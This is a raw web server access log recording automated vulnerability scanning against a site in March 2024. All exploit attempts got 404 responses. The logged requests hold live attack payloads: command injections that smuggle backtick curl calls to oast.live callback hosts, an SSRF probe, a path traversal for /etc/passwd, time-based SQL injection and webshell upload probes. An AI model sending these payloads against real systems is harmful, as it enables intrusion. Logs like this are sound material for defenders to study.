13.234.226.222 - - [10/Mar/2024:21:25:21 -0300] "GET /?p=1 HTTP/1.1" 200 11217 205.210.31.255 - - [10/Mar/2024:21:54:00 -0300] "îêh<‚>ãÖ¿Ð(Ž•CfÑmj,u?JÁïúÖ@X óÀVø±@ÂFFLtÑR^ÂCz¸þ[ò‚¸ÝÖ&À+À/À,À0̨̩À ÀÀ" 400 - 205.210.31.255 - - [10/Mar/2024:21:54:00 -0300] "ÊÆÐÓR+ÆxG“P ™Ô!¨I„Þs?t ôÞÀGè†hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 400 - 13.234.226.222 - - [10/Mar/2024:21:54:55 -0300] "POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1" 404 1053 13.234.226.222 - - [10/Mar/2024:21:59:52 -0300] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 404 1089 13.234.226.222 - - [10/Mar/2024:22:02:42 -0300] "GET /console/login/LoginForm.jsp HTTP/1.1" 404 1015 13.234.226.222 - - [10/Mar/2024:22:02:43 -0300] "GET /api/config HTTP/1.1" 404 981 13.234.226.222 - - [10/Mar/2024:22:04:55 -0300] "POST /var HTTP/1.1" 404 967 13.234.226.222 - - [10/Mar/2024:22:07:20 -0300] "POST /login.htm HTTP/1.1" 404 979 13.234.226.222 - - [10/Mar/2024:22:07:49 -0300] "GET /Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net HTTP/1.1" 404 1009 13.234.226.222 - - [10/Mar/2024:22:11:36 -0300] "GET /manage/fileDownloader?sec=1 HTTP/1.1" 404 1003 13.234.226.222 - - [10/Mar/2024:22:47:52 -0300] "GET /index.php?page=/etc/passwd%00 HTTP/1.1" 404 979 13.234.226.222 - - [10/Mar/2024:22:49:16 -0300] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 1007 13.234.226.222 - - [10/Mar/2024:23:07:06 -0300] "POST /cgi-bin/system_mgr.cgi HTTP/1.1" 404 1005 13.234.226.222 - - [10/Mar/2024:23:07:06 -0300] "POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl HTTP/1.1" 404 1005 13.234.226.222 - - [10/Mar/2024:23:32:59 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:23:32:59 -0300] "POST /checkValid HTTP/1.1" 404 981 13.234.226.222 - - [10/Mar/2024:23:33:01 -0300] "GET /include/makecvs.php?Event=%60curl+http%3a//cnm831f8c89nksussvq0ukhe76iy1or8j.oast.live+-H+'User-Agent%3a+LErKVk'%60 HTTP/1.1" 404 999 13.234.226.222 - - [10/Mar/2024:23:33:01 -0300] "GET /public/css/2dSPNgHdTXjWetZ2nb2q19U6dxs.css HTTP/1.1" 404 1045 13.234.226.222 - - [10/Mar/2024:23:33:01 -0300] "GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//cnm831f8c89nksussvq0d9eeczug5rcdi.oast.live+-H+'User-Agent%3a+LErKVk'%60 HTTP/1.1" 404 987 13.234.226.222 - - [10/Mar/2024:23:37:57 -0300] "POST /assets/php/upload.php HTTP/1.1" 404 1003 13.234.226.222 - - [10/Mar/2024:23:37:57 -0300] "GET /assets/data/usrimg/2dspnyfvo7tqcsc2ofkewpyct3t.php HTTP/1.1" 404 1061 79.137.67.195 - - [10/Mar/2024:23:38:37 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:23:45:59 -0300] "GET /dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1" 404 1019 13.234.226.222 - - [10/Mar/2024:23:57:33 -0300] "GET /+CSCOE+/session_password.html HTTP/1.1" 404 1019